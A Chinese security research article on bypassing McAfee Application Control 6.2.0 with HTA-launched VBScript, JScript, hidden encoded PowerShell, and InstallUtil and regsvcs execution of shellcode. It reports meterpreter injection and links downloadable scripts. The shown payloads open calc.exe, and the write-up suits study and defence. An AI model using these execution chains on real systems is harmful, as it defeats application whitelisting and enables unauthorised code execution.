
        <html>
			<head>
			     <title>Bypass McAfee Application Control——Code Execution - 三好学生</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/10667">http://drops.wooyun.org/tips/10667</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p>应用白名单（Application Whitelisting）是用来防止未认证程序运行的一个计算机管理实践。它的目的是保护计算机和网络不受应用伤害。 McAfee Application Control作为其中比较有代表性的产品，使用动态的信任模型，避免了单调的人工更新许可清单工作。由于企业会面临来自网络的大量未知软件，因此这款可以集中管理的解决方案有助于及时控制系统安全策略，满足企业的运营需求。</p>

<p>那么，我们就试试看，究竟能不能绕过最新版的McAfee Application Control 6.2.0（截至投稿日期）</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704460554447p110.png" alt="p1" /></p>

<!--more-->

<h1>0x01 简介</h1>

<hr />

<p><img src="http://static.wooyun.org//drops/20151127/2015112704460678954p210.png" alt="p2" /></p>

<p>McAfee Application Control对常见文件类型如exe、dll、bat作了限制，白名单外的这些文件均无法运行。所以这次的目标就是绕过限制来执行文件。</p>

<h1>0x02 配置McAfee Application Control</h1>

<hr />

<p>操作系统：<code>win7x86</code></p>

<h3>1.下载McAfee Application Control</h3>

<p>到<a href="http://www.mcafee.com/us/products/application-control.aspx">http://www.mcafee.com/us/products/application-control.aspx</a>填写信息并安装</p>

<h3>2.配置流程图</h3>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704460817677p34.png" alt="p3" /></p>

<h3>3.Add the license</h3>

<p>管理员权限执行McAfee Solidifier 命令行</p>

<p><strong>1.查看许可证是否安装</strong></p>

<p>执行</p>

<pre><code>sadmin license list
</code></pre>

<p><strong>2.添加许可证</strong></p>

<p>在McAfee&#95;Application&#95;Control&#95;v6&#95;2&#95;0&#95;License.txt中会有</p>

<p>执行</p>

<pre><code>sadmin license add 2708-0108-1402-2208-0710
</code></pre>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704461082564p44.png" alt="p4" /></p>

<p><strong>3.重启服务Application Control service</strong></p>

<p>执行</p>

<pre><code>net stop scsrvc
net start scsrvc
</code></pre>

<h3>4.Create the whitelist</h3>

<p><strong>1.创建白名单规则</strong></p>

<p>执行</p>

<pre><code>sadmin solidify
</code></pre>

<p>需要等待很长一段时间，为当前系统中的所有文件创建规则，如果未添加许可证，该功能无法使用</p>

<p><strong>2.查看白名单状态</strong></p>

<p>执行</p>

<pre><code>sadmin status
</code></pre>

<p>确保状态为Solidified</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704461224116p54.png" alt="p5" /></p>

<h3>5.Place Application Control in Enabled mode</h3>

<p><strong>1.开启程序控制，禁止白名单以外的程序运行</strong></p>

<p>执行</p>

<pre><code>sadmin enable
</code></pre>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704461389252p63.png" alt="p6" /></p>

<p>重启系统,重启服务，执行</p>

<pre><code>net stop scsrvc
net start scsrvc
</code></pre>

<p><strong>2.查看状态</strong></p>

<p>执行</p>

<pre><code>sadmin status
</code></pre>

<p>确保McAfee Solidifier状态为Enabled</p>

<p>重启后如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704461436328p72.png" alt="p7" /></p>

<p><strong>3.测试</strong></p>

<p>新建一些测试文件</p>

<p>执行</p>

<pre><code>sadmin list-unsolidified
</code></pre>

<p>查看白名单以外的程序</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704461618678p82.png" alt="p8" /></p>

<p>执行</p>

<pre><code>sadmin scripts list
</code></pre>

<p>查看禁止执行的文件类型</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704461772195p91.png" alt="p9" /></p>

<p>分别执行exe、bat、dll，均被限制，如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704461936559p101.png" alt="p10" /></p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704462046373p112.png" alt="p11" /></p>

<h1>0x03 代码执行漏洞</h1>

<hr />

<h3>1.难题</h3>

<p>无法执行自己的程序</p>

<h3>2.分析</h3>

<p>根据白名单系统的特点，绕过的思路如下：</p>

<ol>
<li><p>找到系统中的特定白名单程序</p>

<p>利用该程序执行代码</p>

<p>编写代码使其执行我们自己的程序</p></li>
<li><p>找到系统中未被拦截的特定程序</p>

<p>利用该程序执行代码</p>

<p>编写代码使其执行我们自己的程序</p></li>
</ol>

<h1>0x04 绕过方法</h1>

<hr />

<p>最终我们还是做到了：D</p>

<h3>1.执行vbs</h3>

<p>利用hta文件</p>

<blockquote>
  <p>Tips：</p>
  
  <p>hta是HTML Applications的缩写，是利用HTML和Dynamic HTML(DHTML)开发应用程序</p>
</blockquote>

<p>利用如下代码即可通过hta执行vbs</p>

<pre><code>#!html
&lt;HTML&gt; 
&lt;HEAD&gt; 
&lt;script language="VBScript"&gt;
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
&lt;/script&gt;
&lt;/HEAD&gt; 
&lt;BODY&gt; 
&lt;/BODY&gt; 
&lt;/HTML&gt; 
</code></pre>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704462151490p122.png" alt="p12" /></p>

<p>然而并不完美，hta的界面会默认显示，所以我们需要进一步修改来隐藏hta的主界面</p>

<p>加入属性指定hta执行后最小化显示，完整的代码如下</p>

<pre><code>#!html
&lt;HTML&gt; 
&lt;HEAD&gt; 
&lt;script language="VBScript"&gt;
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
&lt;/script&gt;
&lt;HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize"&gt;

&lt;/HEAD&gt; 
&lt;BODY&gt; 
&lt;/BODY&gt; 
&lt;/HTML&gt; 
</code></pre>

<p>保存为vbs.hta,执行如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704462343450p132.png" alt="p13" /></p>

<h3>2.执行jscript</h3>

<p>jscript未被McAfee Application Control限制，因此可以被利用</p>

<p>如下代码保存为calc.js</p>

<pre><code>#!js
var objShell = new ActiveXObject("WScript.shell");
objShell.run('calc.exe');
</code></pre>

<p>执行成功，如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704462498725p142.png" alt="p14" /></p>

<h3>3.执行powershell</h3>

<p>如果可以执行powershell代码，还担心绕不过McAfee Application Control吗？</p>

<p>当然，默认是肯定无法执行的，如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704462667896p151.png" alt="p15" /></p>

<p><strong>方法1：</strong></p>

<p>将ps1文件内容保存为script.txt，然后进入Powershell环境执行如下代码：</p>

<pre><code>Get-Content script.txt | iex
</code></pre>

<p>但是如果txt中含有函数，会产生如下错误，需要更改脚本内容，错误如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704462742985p161.png" alt="p16" /></p>

<p><strong>方法2：</strong></p>

<p>利用hta可以执行vbs，再用vbs执行Powershell</p>

<p>使用如下代码并保存为vbs+ps.hta</p>

<pre><code>#!html
&lt;HTML&gt; 
&lt;HEAD&gt; 
&lt;script language="VBScript"&gt;
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true

&lt;/script&gt;
&lt;HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize"&gt;

&lt;/HEAD&gt; 
&lt;BODY&gt; 
&lt;/BODY&gt; 
&lt;/HTML&gt; 
</code></pre>

<p>执行后先调用vbs脚本，再执行Powershell命令</p>

<p><strong>方法3：</strong></p>

<p>利用快捷方式执行Powershell</p>

<p>右键新建一个快捷方式，填入如下代码，并保存为ps.lnk</p>

<pre><code>powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==
</code></pre>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704462979643p171.png" alt="p17" /></p>

<p>运行快捷方式后执行Powershell命令，弹出计算器</p>

<p><strong>方法4：</strong></p>

<p>利用Powershell环境直接执行，简单粗暴</p>

<p>cmd下执行Powershell.exe进入Powershell环境，然后在下面直接输入所有命令即可</p>

<h2>0x05 漏洞利用</h2>

<hr />

<p>目前我们已经可以在安装McAfee Application Control的系统中执行vbs、jscript、Powershell，那么利用上述方法可以实现什么呢？</p>

<h3>1.执行shellcode</h3>

<p><strong>方法1：</strong></p>

<p>利用vbs,将shellcode转为vbs，然后通过hta执行</p>

<p>参考地址：</p>

<p><a href="http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/">http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/</a></p>

<p><strong>方法2：</strong></p>

<p>利用js</p>

<p><strong>方法3：</strong></p>

<p>利用Powershell</p>

<p>在之前的文章对通过Powershell执行shellcode有过详细介绍，对其中的ps1文件细节作简单修改保存为1-CodeExecution-Shellcode.ps1</p>

<p>进入Powershell环境，然后在里面执行1-CodeExecution-Shellcode.ps1的所有内容</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704463062334p181.png" alt="p18" /></p>

<p><strong>方法4：</strong></p>

<p>利用InstallUtil</p>

<p>在之前的文章《利用白名单绕过限制的更多测试》对此有过详细介绍</p>

<p>上传shellcode.cs,执行如下命令：</p>

<pre><code>C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe  /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
</code></pre>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704463275490p191.png" alt="p19" /></p>

<p><strong>方法5：</strong></p>

<p>如果系统支持.net4.0,可以利用regsvcs</p>

<p>参考地址：</p>

<p><a href="https://gist.github.com/subTee/fb09ef511e592e6f7993">https://gist.github.com/subTee/fb09ef511e592e6f7993</a></p>

<p>上传key.snk和regsvcs.cs，执行如下命令：</p>

<pre><code>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library 

/out:regsvcs.dll /keyfile:key.snk regsvcs.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
</code></pre>

<h3>2.执行exe</h3>

<p>利用Powershell</p>

<p>在之前的文章对通过Powershell执行exe有过详细介绍，对其中的ps1文件细节作简单修改保存为2-CodeExecution-Exe.ps1</p>

<p>进入Powershell环境，然后在里面执行2-CodeExecution-Exe.ps1的所有内容</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704463397800p201.png" alt="p20" /></p>

<h3>3、加载dll</h3>

<p>利用Powershell</p>

<p>在之前的文章对通过Powershell执行exe有过详细介绍，对其中的ps1文件细节作简单修改保存为3-CodeExecution-dll.ps1</p>

<p>进入Powershell环境，然后在里面执行3-CodeExecution-dll.ps1的所有内容</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704463633978p212.png" alt="p21" /></p>

<h3>4、注入meterpreter</h3>

<p>利用Powershell</p>

<p>在之前的文章对通过Powershell执行exe有过详细介绍，对其中的ps1文件细节作简单修改保存为4-Process Injection-Meterpreter.ps1</p>

<p>进入Powershell环境，然后在里面执行4-Process Injection-Meterpreter.ps1的所有内容</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20151127/2015112704463744448p222.png" alt="p22" /></p>

<h2>0x06 小结</h2>

<hr />

<p>我们成功在安装McAfee Application Control的系统上执行了vbs、exe、dll以及注入meterpreter。</p>

<p>当然McAfee Application Control还有其他一些保护功能，我们的研究测试也不只如此。</p>

<p><strong>注：</strong></p>

<p>以下文件可供下载</p>

<pre><code>1-CodeExecution-Shellcode.ps1
2-CodeExecution-Exe.ps1
3-CodeExecution-dll.ps1
4-Process Injection-Meterpreter.ps1
calc.js
key.snk
ps.lnk
regsvcs.cs
Shellcode.cs
vbs+ps.hta
vbs.hta
</code></pre>

<p><strong>下载地址：</strong></p>

<p><a href="https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution">https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution</a></p>

<p>参考链接：</p>

<ol>
<li><a href="http://bsidesvienna.at/slides/2015/a_case_study_on_the_security_of_application_whitelisting.pdf">http://bsidesvienna.at/slides/2015/a&#95;case&#95;study&#95;on&#95;the&#95;security&#95;of&#95;application&#95;whitelisting.pdf</a></li>
<li><a href="https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/24000/PD24662/en_US/AppCtrl_BestPractices_Guide.pdf">https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT&#95;DOCUMENTATION/24000/PD24662/en&#95;US/AppCtrl&#95;BestPractices&#95;Guide.pdf</a></li>
<li><a href="http://www.intel.com/content/dam/www/public/us/en/documents/guides/mcafee-application-control-product-guide.pdf">http://www.intel.com/content/dam/www/public/us/en/documents/guides/mcafee-application-control-product-guide.pdf</a></li>
<li><a href="http://subt0x10.blogspot.hk/2015/11/all-natural-organic-free-range.html">http://subt0x10.blogspot.hk/2015/11/all-natural-organic-free-range.html</a></li>
<li><a href="http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/">http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/</a></li>
<li><a href="http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html">http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html</a></li>
<li><a href="https://gist.github.com/subTee/a06d4ae23e2517566c52">https://gist.github.com/subTee/a06d4ae23e2517566c52</a></li>
<li><a href="https://gist.github.com/subTee/fb09ef511e592e6f7993">https://gist.github.com/subTee/fb09ef511e592e6f7993</a></li>
<li><a href="https://social.technet.microsoft.com/Forums/scriptcenter/en-US/08cce717-38d0-4def-a5bf-e5b4a846a597/run-powershell-from-hta">https://social.technet.microsoft.com/Forums/scriptcenter/en-US/08cce717-38d0-4def-a5bf-e5b4a846a597/run-powershell-from-hta</a></li>
</ol>

<hr />

<p>本文由三好学生原创并首发于乌云drops，转载请注明</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          